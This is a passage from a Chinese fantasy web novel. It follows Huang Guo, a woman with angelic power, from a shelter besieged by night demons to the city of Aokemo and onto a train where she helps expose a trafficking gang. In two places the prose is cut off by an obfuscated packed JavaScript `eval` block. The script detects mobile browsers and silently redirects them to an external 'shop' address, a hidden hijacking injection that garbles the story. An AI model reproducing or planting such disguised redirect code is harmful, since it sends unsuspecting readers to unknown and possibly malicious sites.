黄果向着西面奔跑,可是她渐渐意识到了不对劲。明明是黑夜,黄果的眼睛却看得很清楚。不是因为她适应了黑暗,而是有光亮。 她把目光投向远方,慢慢停下了脚步。环视左右,黑暗中,有光点向着厂房靠近。那些一闪一闪的光点聚集在一起,连成片,就像一条不断向内收缩的星环。 是晶石的闪光。究竟纠结了多少的夜魔,黄果根本无法想象。不过此刻数量似乎已经失去了意义。 景程温说的没错,庇护所已经保不住了。可是真的能有人能活下来吗? 回去吧,回去找景程温。心底有这样一个声音告诉黄果。一刻也没有迟疑,黄果拔腿向着来路奔跑。 * 景程温被重重地甩到火药库的水泥挡墙上,几乎背过气去。他踉跄着向前走了几步,用长刀支撑支撑身体。还没站稳,刀身竟从中间断裂成两半,景程温也因此身体失衡向前倒去。 一只柔软的手穿过了景程温的腋下,环抱住他的手臂,支撑住了他的身体。那只手冰凉的触感,让景程温清醒了几分。 “你怎么回来了?” “我总感觉要回来。况且我也不可能一个人跑出去了,庇护所外围满了你们所说的那个什么夜魔。”黄果漫不经心地回答,她的目光始终看着前方那个触目惊心的生物。 说是动物,它又有着人双腿直立行走的特征。说是人,或是猿猴,它又有着薄膜一样的翅膀,翅膀可以透过光亮,其中密密麻麻地布满了青色的血管。形象一些来说,那类似一对蝙蝠的翅膀。 老人在军火库的角落里,已经昏厥过去。还有许多黄果不认识的,和景程温一样穿着软甲的男人或是女人,不是已经失去意识,就是明显没有了行动能力。夜魔的后方,军火库的更深处,有两个被捆绑起来的妇人。 景程温呛出一口血,恍然大悟道:“这家伙是信号塔。它在向其他夜魔发出信号,让它们向庇护所聚集。所以才会一直在火药库里和我们周旋。” “察觉到了吗,不过已经晚了。” “真的能说话。”黄果也不免惊叹。 “即使是我,如果面对你们人类的猎枪还是会很头疼。”夜魔得意洋洋地张开双臂:“不过现在,其实 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“你们这样规模的行动,天使大人不会坐视不管的。” 夜魔仰头大笑,道:“既然你们已经是将死之人,我不妨再告诉你们一点有意思的事吧。这仅仅只是那位大人‘暖春计划’的开始,夺还时间海区域,不过是针对人类和天使的伟大复仇计划的开端。” “暖春计划。” “没错。你是安彻迪亚第一个知道这个计划的人类,”夜魔一步步靠近:“这是你的殊荣,带着这份荣耀死去吧。哦?” 黄果的动作让夜魔有些惊讶。黄果单手端起了猎枪,枪口直指夜魔。 “你想让整个火药库炸掉吗,这里的所有人都会死。”夜魔露出玩味的神情,“只有我能活下来。” “别开枪。”景程温想要阻止作势要扣动扳机的黄果,但全身的疼痛让他动弹不得。仅仅只是在黄果的支撑下站立,他就已经竭尽全力了。“你快逃,我能挡住它一阵。” “我总觉得要开出这一枪。”黄果看向景程温,挤出一个并不好看的笑脸,“你救了我一次,我要是什么也不做就太逊了。” 这是今天景程温第一次看见黄果露出笑容,不知怎么的,他的内心忽地平静下来。 “来吧,”夜魔敞开胸怀,“我给你一次机会。” “你会用吗?”景程温问。 黄果歪着头,道:“只要扣动扳机就可以了吧?就是枪有些沉,一只手不太好拿。” “抱歉,这个时候还让你扶着我。” “那也是没办法的事嘛。” 黄果甚至都没有想过要瞄准,她只是隐隐觉得,这颗子弹会自己命中它的目标。 巨大、洁白的翅膀在黄果的后背舒展开,每一枚羽毛都散发着圣洁的光芒。独翼天使,后来庇护所的幸存者们都这样称呼她。 夜魔惊遽色变,想要后退。黄果已然扣动扳机,没有枪响,但是黄果坚信子弹已经击发。 厂房中的巨响传到庇护所东边的广场,所有人的目光都齐齐看过去。没有人知道火药库里发生了什么,她们战战兢兢地等待着结果。 从厂房大门走出来的,会是猎人,还是宣告终焉的夜魔? 5. 第 5 章 “抱歉,天使大人。是小老儿有眼不识泰山,没有认出您。” 黄果一枪结果了夜魔,庇护所外的围将过来的夜魔也一哄而散。一切尘埃落定。老人缠着绷带,脚上也打了石膏,还是由那位被景程温打晕了的护卫推着来到了黄果的房间。老人一脸的歉意,还带有些许的惶恐。 坐在轮椅上的老人还试图起身,黄果立刻将他按住了。本来黄果也没打算怪他。站在老人的角度,黄果不过是个陌生人,为了保护庇护所更多的人怀疑她也无可厚非。况且老人也没有对黄果造成什么实质性伤害。 “叫我黄果就好,您还是好好歇息吧,这点小事没必要跑一趟。”黄果说,“倒是这位护卫大哥,景大哥为了带我走把你打晕了。我替他向你道个歉。” 护卫挠了挠头,道:“夜魔的事没能帮上什么忙,真是惭愧。” 说曹操,曹操到。景程温也恰巧来到了黄果房间的门口。“厂长你在这里,”景程温喜出望外,“巡逻队带回来几个新人,要你去瞧瞧,正寻你呢。” 老人看向黄果,恭敬地说:“天使大人,那我就先走了。如果有什么需要,随时可以找我,庇护所能做到的,我们都倾力满足。” “谢谢您了。” 景、黄二人礼貌地送老人离开。景程温问:“这些天怎么样,这个房间住着还习惯吧?” “我看了别人的房间,可没我的这么宽敞。你们这都给我优待了,我怎么能说不好。” 景程温爽朗地笑出了声:“和你以前住的地儿可能比不了,不过庇护所的条件确实有限,他们也尽力了。” “你的伤势怎么样?” “不碍事。”景程温拍拍自己的大臂,道:“我是个糙汉,伤筋动骨是常事了,很快恢复的。” “那就好。”黄果笑了笑。 “我来是想告诉你,你托我打听的事有结果了。”景程温顿了一下,说:“没有人认识你口中所说的那个Π。” 黄果叹了口气:“好吧,本来你也和我说过别抱太大希望。” “你也不用太过灰心。”景程温说:“如果你要找的人是个天使,我知道一个地方,或许可以找到她的线索。” “哪儿?”黄果一下子来了精神。 “奥克莫,那儿是联通天使之城与人间的地界,南来北往的人聚集其间,或许你可以找到自己想要的答案。” 景程温走到窗边,看向天上的云海。原本密不通风的云层,已经出现了一些缝隙。“这次的长夜就要结束了,正好庇护所里有商人要前往奥克莫,我会和厂长说好,让他安排你与商人同行。奥克莫不会像时间海这样危险,如果你想作一番休整,在那里待上几天也是极好的选择。” “景大哥。”黄果问:“我什么都不知道,你不会觉得我很可疑吗?” “不会。”景程温的回答比黄果想象的要干脆,“你不说一定有你的理由,等你哪天想告诉我了,我会好好听的。” * 正如景程温所言,云海很快就散去了。太阳重新普照世间,按照厂长的安排,黄果如期坐上了商人的马车前往奥克莫。出发那天,景程温也收拾了行李一起出行,黄果一开始还以为他是要和自己一起,结果两人向着完全相反的反向走了。 “丫头。”商人是个五十来岁的妇人,在黄果拒绝了“天使大人”这个称呼以后,商人就一直叫她丫头,“别愁眉不展的,我们就快离开时间海了。出了时间海,就不会出现极夜,也不会在大街上碰到夜魔了。” “是这样吗?我还以为……” “时间海是夜魔的发源地,后来大天使利用那里的能量反过来将夜魔困在其中。说起来,那里算是一所监狱。至于逃逸在外的夜魔,早就被天使们讨伐掉了。”商人递给黄果一个刚削好的苹果,“所以你不用担心,苦日子结束了,外面的世界还是很美好的。” 那之后又过了一天,商队在下午时分抵达奥克莫,商人也在此地与黄果分别。 确如商人所言,这里和时间海截然不同。有明媚的阳光,有活力四射的行人,远处有显眼的气派建筑物,近处低矮的建筑群也有着干净整洁的外墙。黄果刚一入城,就立刻有人凑了上来。 “靓女,住宿吗?” 如果放在以前,黄果不会理会这种拉客的行为,她应该早在出行前就用手机定好了酒店。可是现在到了一个逻辑迥异的世界。黄果看了看来人,女人大概在四十岁上下,衣着朴素。 “或许跟着她去,探一探物价的高低也不错。”黄果心想。背包里有老人和商人给她的一点钱财,自己在这里没有任何收入来源,必须要谨慎地使用。 “靓女,看你的穿着,也是从时间海出来的吧?” 黄果微微点了点头。 “你看,咱们多有缘。我就感觉你身上有股劲头,让人感到亲切,只有咱们从时间海里出来的女人才有这种气质。”女人嘴里说个不停,“你是哪个庇护所,是停车场来的吗?” “是一个工厂。” “啊,厂长那里。那老头子不错。”女人点点头,她招呼着黄果跟上自己:“走吧走吧。” “住宿的地方在哪?”黄果问。 女人抬手指向不远处一幢高大的巴洛克风格建筑物:“黛尔大酒店。放心好了,就冲着你是庇护所出来的,我也一定要照顾你,给你说个好价钱。” 这么好的酒店,也需要人来拉客吗?黄果看着酒店的浮雕外墙,不禁为自己的钱袋子捏一把汗。 * 一块歪歪扭扭的招牌,一幢不起眼的小平房。奥克莫有很多这样的房子,其中的一个恰巧就坐落在巴洛克风格建筑的旁边。招牌上写着“黛尔大酒店”。 黄果站在酒店前台,这和她想象的完全不同。等她回过头,女人早没了影。 “小姐,你一个人住吗?要标准间还是临江房?”前台是个瘦小的男人。 “还有临江房?” “有, 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“想找天使的人小姐你也不是第一个了,我们酒店很多回头客都是。‘朝圣之间’离这里不远,小姐你来我们酒店是来对了。”前台右手指向柜台角落,问道:“需要直接打个电话过去吗?” 那是一个老式旋转拨号电话机。 前台竖起手指:“一枚银币一次。” “能够直接问到结果吗?” “不好说。不过问一下,也不会损失什么。” 黄果付过钱,前台把电话机一整个递给黄果。“我给你拨上号,你拿到门口去,扎好马步。” 这个世界的电话,是这样的使用方式吗?黄果心中疑惑,但钱都付了,不得不照做。她抱着电话机走到门口,把听筒放到耳边。黛尔大酒店的门口,黄果扎着马步,眼睛看着旁边的莱科顿大酒店外壁的天使雕塑,耳朵里是轻微的电流底噪。 就这样等了一会儿。 “喂,您好,这里是朝圣之间。请问有什么可以帮到您?”电话终于接通。 黄果有些激动,站直了身子,说:“你好,我想找一个叫Π的天使。” 话还没说完,听筒里就传来了长长的嘟声。黄果一脸懵地回头看向前台。 “哎呀。”前台立刻明白发生了什么,说道:“早告诉你要扎好马步了,小姐。这电话线路接触不良,不这样把线绷直了就断掉啦。” 原来只是这部老式电话机的线路接触不良,根本不是什么这个世界特有的使用方式。黄果联想到刚刚来往的行人看向自己的异样,脸蛋霎时间羞得通红。 “要再打一个吗?一个银币。” “你……”黄果长出一口气,道:“算了。” * 太阳西沉,夜幕降临。店招的灯光亮起,从街道上看过去丑得别具一格,字体大小不一、间隔也无序。 吃完晚饭回来的黄果看着招牌上发光的四个大字——黑小酒店——突然觉得有些脱力。 明天到朝圣之间,会顺利吗? 6. 第 6 章 戴尔酒店是隔断房。黄果感觉自己就像住进了菜市场,房外的过道不断有人跑来跑去,住客的嬉笑声一点不落地传进耳朵。好不容易熬到夜深人静,又有人跑马拉松接力一样开始做饭。 黄果根本没睡好。第二天一大早,东方将将露出鱼肚白,黄果向前台讨要了一份奥克莫的地图便出发前往朝圣之间了。 从建筑外形上来说,朝圣之间同样是巴洛克风格的建筑,不过明显比莱科顿要陈旧些。黄果本以为朝圣之间会是教堂一类的地点,结果完全不是。以黄果的认知,从功能性上来说朝圣之间类似与车站、或是游客集散中心一类的地方。 在朝圣之间,黄果的确看到了不少长着各色翅膀的人,也就是景程温等人口中所说的天使。尽管庇护所的人也把黄果叫做天使,但她心里清楚自己只能算是伪物。而在此间的,无疑都是货真价实的家伙。 在大厅的凳子上坐了一会儿,黄果叹了口气:“果然不会有守株待兔这种好事发生啊。”大厅里来来去去这么多的天使,连一个和Π有着同样特征——只有单边翅膀的——都没有,更不用说Π本人出现了。 按照酒店前台的说法,朝圣之间里有一个专门查询天使动向的窗口,就是要付一点钱。按照住宿费用标准来换算,大概就是一周的房费。抱着一丝侥幸心理的黄果在大厅坐了大概半个钟头,最后还是不得不妥协,把手伸进了自己的钱袋子。 “您好,请问有什么可以帮到您?”窗口后的工作人员抬起头,微笑着看向黄果。这是这么多天以来,黄果见过的最甜美、明快的笑容。 “不会有什么比这个笑容更美好,再没有什么能打动我了。”黄果心想,“这几个金币已经值回了它的价格。” “女士?”工作人员不解地看向黄果。 黄果清了清嗓子,道:“请帮我查一下天使Π去了哪里。” “天使Π。”工作人员重复了一遍,然后动作爽利地打开手边的记录簿翻找起来。工作人员把记录簿从头到尾查了一遍,又从最后一页翻到开始,然后抬起头来说:“抱歉女士,我们没有找到这位天使Π的记录。他应该是走了其他的朝圣之间,不经过我们这里的话,我们是没有记录的。” “奥克莫还有别的朝圣之间吗?” “没有。不过其他的城市会有。”工作人员始终保持着微笑:“虽然没能查到,但是金币只能退您三分之一,还希望您能够理解。” “啊,还有得退?” “嗯,会退的。” 黄果这边刚结束,排在她身后的女孩立刻挤了上来,眼里冒着星星:“请帮我查一下曹宽哥哥的行程!他是不是已经到奥克莫了!” 手里握着退回来的金币,黄果漫步走出了朝圣之间。最后一条线索也断了,今后要怎么办呢,每天到朝圣之间守株待兔吗?她带着的金币能够撑多久,这是个很现实的问题。 “女士,”有人叫住了黄果,“你是在找人吗,我或许有办法。” 黄果回头。男人剪了一个寸头,过于端正、俊朗的五官,让他即使没有头发做修饰看上去也英气十足,不如说没有过长的头发让他看起来更清爽,初印象上来说加分不少。 “还没自我介绍,我是来自天使之城的商人霍雪明。”一脸正气的霍雪明将名片递给黄果,说:“我刚才碰巧听见你在寻人,是一位天使。” “嗯,难道你认识。” “惭愧,我倒是还没那么灵通的消息。”霍雪明耸了耸肩,道:“不过我知道一个人,她一定知道。” “一定知道?” “对。”霍雪明毫不迟疑地回答:“天使之城,知晓一切的大天使可淼。” “知晓一切的大天使。” “女士既然也来了朝圣之间,一定也知道,只有持有特殊专列车票的才能从朝圣之间上车,前往天使之城卜拉菲尔斯。普通人没有渠道的话,车票得提前半年预定。”霍雪明有意停顿了一下,说: “我的商队刚好要去卜拉菲尔斯,队伍里一个小伙子病了,现在空出一个位置。我有座位,而女士你有钱。只需要支付鄙人小小的一笔费用,届时我们就可以带你上车。” 说了这么半天,合着是黄牛来的。黄果不知道霍雪明说的有几分是真的,但眼下似乎也没有更好的选择了。 “不需要立刻答应我,也不用现在给我钱。”霍雪明倒是很随性,“五天后发车,如果想好了的话,记得要早些到名片上的地址来。毕竟只有一个位置,先到先得。” * “小姐,不在多待两天了吗?”前台眼巴巴地看着来退房的黄果。 一天前,黄果从朝圣之间回到黛尔酒店后,立刻向前台确认了有关大天使的说法。前台也证实了霍雪明所言非虚,那位名叫可淼的大天使,的确有传言称其全知全能。 喏,那里挂着的就是可淼的画像。前台将可淼的画像指给黄果看。 画像上的可淼穿着洁白的长裙,曲腿坐在海边的岩石上,脚踝在裙摆下若隐若现。海浪般的头发颜色介于金色与纯白之间,水面的鳞纹和她的卷发映照着同样的艳阳光彩,却又如此不同。 据前台所说,这是由安彻迪亚是十分闻名一张相片转描而来。在大天使可淼与恋人的一次约会中,她的恋人抓拍了这张照片。 如果不是大天使,安彻迪亚的人民早就沦为了夜魔的餐食。前台补充道。至于卜拉菲尔斯,也被叫做白石城。除此以外,前台则直言他也知之甚少,长这么大他只是听说过,没能亲身去过。 不过卜拉菲尔斯实际是一座什么样的城市,其实对黄果而言并不重要。只要验证了大天使全知全能这一点,卜拉菲尔斯就值得一去。所以黄果最后还是找到霍雪明,搭上了商队的“顺风车”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482452|201826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小兄弟,你这就不地道了。”霍雪明打断了前台挽留黄果的话,调笑道:“想赚钱也不能逮着黄女士一个人薅羊毛。” 黄果给霍雪明交了钱,他就很热心地开车送黄果回到酒店取行李。这时正站在门口仰望一旁莱科顿的屋顶呢。 前台闻听了霍雪明的话,只好挠挠后耳,尴尬地笑了笑。 就算霍雪明不说,黄果也不打算留下来了。这两天酒店的其他住客把黄果折腾得够呛,压根就没能完整地睡一次好觉。 “黛尔随时欢迎您回来呀,小姐。” 黄果踏出门后,前台还在身后喊了一句。霍雪明替黄果拉开车门,道:“这里不好住吧。下次我给你推荐一家,别住这里了。” 黄果看向黛尔大酒店。店外的阳光正盛,没有开灯的酒店大堂显得格外的昏暗,黄果甚至都不能看清前台的脸。黄果点了点头,坐进了汽车的后座。 * 商队拢共有十来号人,他们并没有直接从朝圣之间乘上前往卜拉菲尔斯的列车,而是提前三天从另一个车站乘坐普通专列出发。 “还有些商品需要采买,我们在中途转一次车。”霍雪明如是说。 霍雪明很大方包下了两节车厢,给每一个商队成员安排了独立的单间。不得不说,在火车上的睡眠质量比在黛尔时好多了。火车车轮在铁轨上滚过的声音,沉稳而富有节律,完全是一支浑然天成的催眠曲。 出发的第二天,经过了首日在列车上的生活,黄果已经把车上的基本情况摸个七七八八。算着快要到用餐的时间,黄果轻车熟路地先一步前往餐车避开饭点高峰期。 中午时列车正经过一片平原,列车两侧的车窗外的水田连城片,一直延伸到远处和天空相接。农作物在风中摇晃着脑袋,那些拂过作物的风又越过列车的车窗蹿进车厢,从黄果的脸庞上、从黄果的发丝中、从黄果的指缝间流走。凉爽、惬意,风带来田地间清新的空气,黄果沉醉其中。 列车在飞速移动,车厢过道上的阳光也不停移动。阳光不断向后,而黄果不停向前。黄果抵达餐车时,果然那儿还是空荡荡的,只在车尾有一位姑娘,她居然比黄果来得还早。 姑娘坐在车窗边,手肘放在窗沿单手支撑着下巴。 细软的金发瀑布一样垂落。本来就能够到她脚踝的发丝,一旦坐下之后,便蜿蜒地在车厢红毯上铺散开。姑娘就这样坐了不一会儿,终于也察觉到了这点,于是不动声色地挽起发尾,妥贴地搭到了双腿之上。 好似指缝挡不住流水,一旦放松下来,金色的发丝又一次垂落地面。她只是出神地眺望着列车外无尽的田地与天空,金黄色的阳光在脸颊上飞速地掠过,忽明忽暗。 太美好了。黄果情不自禁地要举起手来,向玉皇上帝、向释迦牟尼、向耶稣,不管是谁都好,总之黄果可以发誓,她从没这么心动过。 7. 第 7 章 用餐时间到了以后,黄果有意等了一会儿,直到姑娘坐定,黄果这才点了餐,抬着餐盘慢悠悠地走过去。 “这里有人吗?”黄果抬着餐盘,指着姑娘对面的座位问。 姑娘抬起头,小嘴吃得鼓鼓囊囊的,那对水汪汪的眼睛似乎再问:“这么多空位,你干嘛来和我坐一桌?” “没有。”姑娘还未咀嚼完口中的食物,稍显狼狈,只得挡住了嘴,含糊地回答。 黄果没有给姑娘说第二句话的时间,一屁股就坐了下去,就在姑娘的正对面。一面吃,黄果也一面和姑娘攀谈起来。“姐姐要去哪里,”黄果瞟了一眼车尾墙壁上的站点时刻表,从中随机挑选了一个自己能认出来的地名,问:“伦迪吗?” 这次姑娘慢慢地将口中的肉和蔬菜嚼碎,吞咽了下去,而后回答说:“卜拉菲尔斯。” “去卜拉菲尔斯不是应该从朝圣之间坐车吗?” 姑娘用手指摸了摸脸,有些羞赧地说道:“其实我知道你,小姐。那天我有看到你是和霍老板一起上的车。我们的目的地是一样的。” “哦,”黄果恍然,自我介绍说:“我叫黄果。” “我叫游初玥。” 还说着话,游初玥眼睛就已经巴巴地望着餐盘里的食物,那叫一个望眼欲穿。黄果哭笑不得,只得说:“吃吧,咱们边吃边聊。” 游初玥喜不自胜,道:“好。” “上车的时候大家都在,我没有看到你。”和游初玥的狼吞虎咽比起来,黄果简直成了慢条斯理的淑女。 “我比你们来得都早,因为要提前检查车厢没有被一些逃票的人占着。”游初玥一边咀嚼一边说,“你们上车那会儿,我都到床上躺下了。” “所以你是霍老板商队的一员。” “我吗?算是吧。不过我其实也没做多久,在奥克莫遇到霍老板,他说包吃包住,我就来了。”她看着天花板想了想,神神秘秘地低声道:“所以黄果小姐如果你有什么事的话,还是直接找霍老板的好。一看他就是老油条了,不管什么事,一准给你处理好。” 黄果心想这姑娘真是蹭吃来的,这就开始推卸责任了。 “除了你,还有几个队员?” “不清楚,没来得及见面呢。”游初玥答道。就这几句话的功夫,游初玥餐盘里的食物就消去了一半,剩下的一半比黄果盘子里的还多。 二人就这样有一搭没一搭地聊着。游初玥似是在配合黄果的步调,或者说是受了黄果的影响,吃东西的速度也逐渐慢了下来。黄果盘子里的食物还剩下一半的时候,游初玥剩下的和她差不多。 这时,一个男人抬着盘子,问也不问就在黄果的身边坐了下来。男人的脸生得精致,透出一种莫名的阴柔与清冷。 男生女相。黄果第一反应是这个词语。 “女士。”男人声音低沉:“有一件事,我想请你帮忙。” * 男人抬起右手,手背朝向过道。他的掌心贴放着一枚金黄色的胸章。胸章上刻着三对翅膀,从蜷缩逐渐过渡到展开的状态。胸章的最下方,刻着一个银色的名字——曹宽。 这个名字黄果有印象,如果两者的确是同一人的话,那眼前这个男人应该是货真价实的天使。 “接下来就不要看向我了,你们照常吃饭,听我说就好。”曹宽收起胸章,说:“我是卜拉菲尔斯机密警备部队队员曹宽,现在这列火车上有紧急事态,我需要你的协助。” 曹宽大概是觉得只要出示了胸章就坐实了自己的身份,但黄果压根对这个世界一无所知。黄果看向游初玥,向她确认。 游初玥点了点头,那意思大概表示胸章是真的。这个男人的确是那个什么部队的队员。 “你们也是霍雪明队伍里的成员。” 二人点头。 “前些日子我们收到消息,有一伙人在安彻迪亚秘密活动,多次、大批量地诱骗、绑架少男少女出境,在邻国实施人口贩卖的活动。”曹宽用只有黄果和游初玥能听到的声音说:“这些人将自己伪装成商队、旅行团,出手阔绰借此引诱被害人上钩。” 黄果心想,这说法就差直接报名字了。 “通过昨晚的试探,我已经确认霍雪明就是主犯之一。”曹宽停了片刻,继续说:“我错估了对方的人数和能力,现在的情形,以我一己之力不可能制服他们。贸然行动反而会让对方应激,到时可能导致列车乘客遭受不可控的伤害。所以我需要你的协助。” “你穿着时间海庇护所的服装,我判断你有一定的行动能力。并且,你现在已经是霍雪明的目标之一,与自身的安危息息相关,你的执行力会比其他人更强。” “不能到站之后通知警备部队来帮忙吗?” “终点站有霍雪明的帮手接应,我们没有那个时间余裕。” “用列车上的电话通知呢,”黄果特意往餐车柜台处看了一眼,确认列车上也有电话后提出了建议:“让警备部队提前到位。” “考虑到犯人与当地警备队有勾连的可能性,这个做法反而会提前暴露自己。我们必须在列车抵达终点站前制服霍雪明和他的团队成员,然后在中途下车联络警备部队前来接应。” 黄果叹了口气,但想到自己在庇护所击毙夜魔的经历让她多了几分底气。“需要我们做什么?”自然而然地,黄果把同样在听地游初玥也划入了自己与曹宽的阵营。 不过曹宽好像没这样想,他稍微愣了一下,看了一眼游初玥后才说:“我会设法将霍雪明引到火车尾部空置的硬座车厢,一对一的情况下我有自信能够赢过他。但是在那之前,需要你们帮我拖住他的同伙。在那两节车厢之中制造一些混乱,或者通过一些其他的手段和方式吸引他们的注意力。” “需要多长的时间。” “五分钟。”曹宽冷静地说:“我会在五分钟之内解决。” 曹宽抬起手,露出左手手腕处的机械表,用食指敲了敲表盘上的数字二。“感谢你,女士。我们下午见,大天使会护佑您。”曹宽起身,离开了餐车。 * 这辆列车压根就不会通向卜拉菲尔斯,霍雪明也根本没想带他们去卜拉菲尔斯。 “你不吃了?”曹宽已经走了有一会儿,黄果见游初玥放下了筷子忍不住问道。 “这谁还吃得下。”游初玥木然地瘫在座位上,“我就是想吃个饭。” 两人就这样呆坐了一会儿。游初玥不知想到了什么,忽然眼中又闪起了光亮。她身体微微前倾,看向黄果的眼睛,问:“你真的是从那个什么时间海里出来的,那你是不是很强?” 黄果脑海里闪过在庇护所里看到过的一张张脸。呆在时间海里的,也不全是猎人,也有普通的男人、女人,有手无缚鸡之力的小孩和老人。黄果不知道游初玥是怎么得出自己很强的这个结论,但她也没有立刻否认。 “姐姐,你说吧,我们该怎么做?”游初玥抓住黄果的手,“我都听你的!” 黄果看向自己的手背。她的确有过一次击毙夜魔的经历,现在关键的是她能否复现当时情形。眼下她的手边可没有猎枪。尽管景程温事后告诉过她,当时那杆猎枪没上膛,所以她并没有击发猎枪中的子弹,而是通过“天使之力”击杀了夜魔,但黄果心里还是没底,犯起了嘀咕。 “马上就到午休时间了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482453|201826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”黄果说。 “啊?” “我们来捉迷藏吧。” 游初玥不可谓不是丈二和尚摸不着头脑。 * 13:50。在看见霍雪明匆忙离开卧铺车厢后,黄果将目光投向了车厢过道上的男人。男人二十岁出头,坐在车尾的座位上懒散地看着窗外飞速后退的景色。如果不是知道这只商队的真实面目,黄果肯定会认为这就是一个想晒太阳的人罢了。但现在看来,这人就是霍雪明同伙中负责盯梢的那一个。 黄果躲在游初玥房间的门后清了清嗓子,深呼吸一次以后猛地推开门,一声大喊:“不好了,初玥不见了。” 车尾的男人一下子站起来,不止是他,住在车厢正中的房间的人也立刻有反应,推开了房门出来查看。 从房间中出来的人身材走样严重,几乎是从门框中挤出来。没走两步就满头大汗,他来到游初玥的房门外,往空荡荡的房间看了一眼,脸色转瞬之间变得严肃,问:“怎么回事?” “初玥和我说去上个厕所,让我在房间等她。都两个小时了还没回来,厕所我去找过了没人。我又回房间来看,还是没人。”黄果焦急地说:“该不会是遇到坏人了吧?” 肥胖的男人扭过头,看向跟在后面的负责盯梢的干瘦男人,问:“怎么回事?” “我明明看到她早就回来了。”男人一脸的惊慌,他挤过肥胖男人与过道之间的空隙,进到屋内查看,的确没有游初玥的身影。男人无头苍蝇似的在房间里转了两圈,又折返回到过道上。 这时间,隔壁车厢又过来一个男人。男人穿着燕尾服,内搭白衬衫与双排扣的马甲,下身则是紧身裤搭配长靴,脖间围着奶白色的领巾。完全符合黄果过去在影视剧中看见的老派绅士形象。可惜这人明显也是霍雪明的同伙。 绅士男一看到几人聚集在游初玥的房门前就立刻皱起了眉头。再一次重复了那个问题:“怎么回事?” 他的两位同伙你看看我,我看看你。最后还是胖男人开了口:“游初玥不见了。” “我跟你们说过她是重点对象,让你们两个人待一个车厢……”气头上的绅士男这时候明显还想说些什么,但他看到一旁的黄果,最后只气冲冲地骂道:“还不快去找!” 绅士男很快平复自己的情绪,看向黄果笑着说:“黄小姐别担心,我们一定找到游小姐,不会让她有事的。如果你方便的话,我想听你说说事情的细节。” 黄果领着男人进到自己的房间,刚坐下列车的车尾就传来了爆炸声。绅士男猛地起身,冲出到过道上大声呼喊同伴的名字。出去寻找游初玥的二人听到呼喊,又即刻折返了回来。 “老板好像遇上麻烦了,可能是昨天晚上那家伙。”绅士男说:“我们一起过去。” “游初玥怎么办?”黄果开口问道。 干瘦的男人看了一眼黄果,也开口道:“车厢里的人怎么办?” 绅士男扫了一眼两节车厢,思索了片刻,道:“解决了那边再说。” 列车狭窄的过道中,三人排成一条线紧挨着向车尾进发。 时间还远远不到五分钟,可是三人已经打定主意要先去车尾,看上去黄果的拖延策略已经失效了。还有什么办法呢? 黄果看着三人就快要离开车厢的背影,忽地萌生了一个想法。 “相信的心就是你的魔法。”如果换做从前,大概黄果自己都要嘲笑自己,是动画片看得太多了。她抬起左手,无名指与小指微曲,其他三指绷得笔直。 “砰。”黄果的口中,发出微乎其微的声音。就像盛夏书桌上的可乐,气泡从杯底上升,在可乐的表面破裂。 8. 第 8 章 黄果和游初玥都下了车。收到曹宽的联络后,本地的警备部队很快赶到现场接收了霍雪明一行四人。 曹宽结束了和同事的寒暄,走到黄果面前伸出手,说:“感谢你,黄果女士,游初玥女士。” 二人依次和曹宽握过手。曹宽笑着对黄果说:“早知道黄女士你这么强,我就不用这么着急了。我紧赶慢赶比约定的五分钟还快了半分钟呢,可惜在你的实绩面前我没炫耀的机会了。” 和警备队一起来的,还有医院的救护车。黄果射出的子弹贯穿了列车直到车尾,有几位被误伤的乘客。 曹宽循着黄果的目光看了一眼救护车,说道:“不用担心,都是小伤。警备部队会承担他们全部的医疗、误工费,还会分发一些慰问金。至于伤人的责任,我会让他们安排到霍雪明一伙的头上。” 黄果暗道:“此人完全是一个不讲究程序正义的警备人员。”可是这种结果本身受益者是黄果,她自然也没立场去评判什么。 “游女士也辛苦了,躲在那样低矮的床底下。” “哎呀,没什么。这些小贼也就那样了,小菜一碟嘛。”游初玥摆摆手,嘴上说着没什么,脸上都快笑开花了。 曹宽又转向黄果:“我听游女士说了,你们本来是要去天使之城卜拉菲尔斯。正好我也要去,专列上总是会为天使之城的警备队预留一些座位。作为答谢,曹宽斗胆邀请二位女士与我同行,共赴卜拉菲尔斯。” 车站中响起长长的笛声,一列火车开动驶向远方。黄果看着列车变得越来越小,感到如释重负。 某种意义上来说,她的确乘上了去往卜拉菲尔斯的专列。只是过程略微曲折,转了一次车。 * “你不吃了?” 同样是在列车的餐车,黄果向游初玥问出同样的问题。 游初玥摆了摆手,说:“晕得慌。” 说罢,游初玥就探头向窗外忘了一眼。列车的车轮下,云海像水波一般分向两边。山脉就像大地的褶皱,湖水就像是姑娘首饰盒里的珍珠。游初玥捂着额头,瘫回到皮质的座椅上。 “不行不行,我受不了。”游初玥哀嚎,“我有恐高,没人告诉我专列是这样的啊。” 这是一辆天空专列。 “恐高就别往下看啦。”服务员将饮料轻柔放两人的面前,笑盈盈地说:“抬头向上,夜晚的星空很美。” “真的吗?”游初玥眼泪汪汪地抓住服务员的手。 服务员被她撩拨得眼睛弯成了月亮,温柔地答道:“真的。” 黄果摸了摸自己的手,心想:“这小姑娘,对谁对这样。” 车厢的另一头传来不合时宜的、沉重的奔跑声。这列专列上大多都是有头有脸的人物,几乎每个人都很优雅、安静。用游初玥的话来说就是——做什么都慢吞吞的,真替他们着急。黄果倒是觉得,来都来了不如装一把,融入一下。 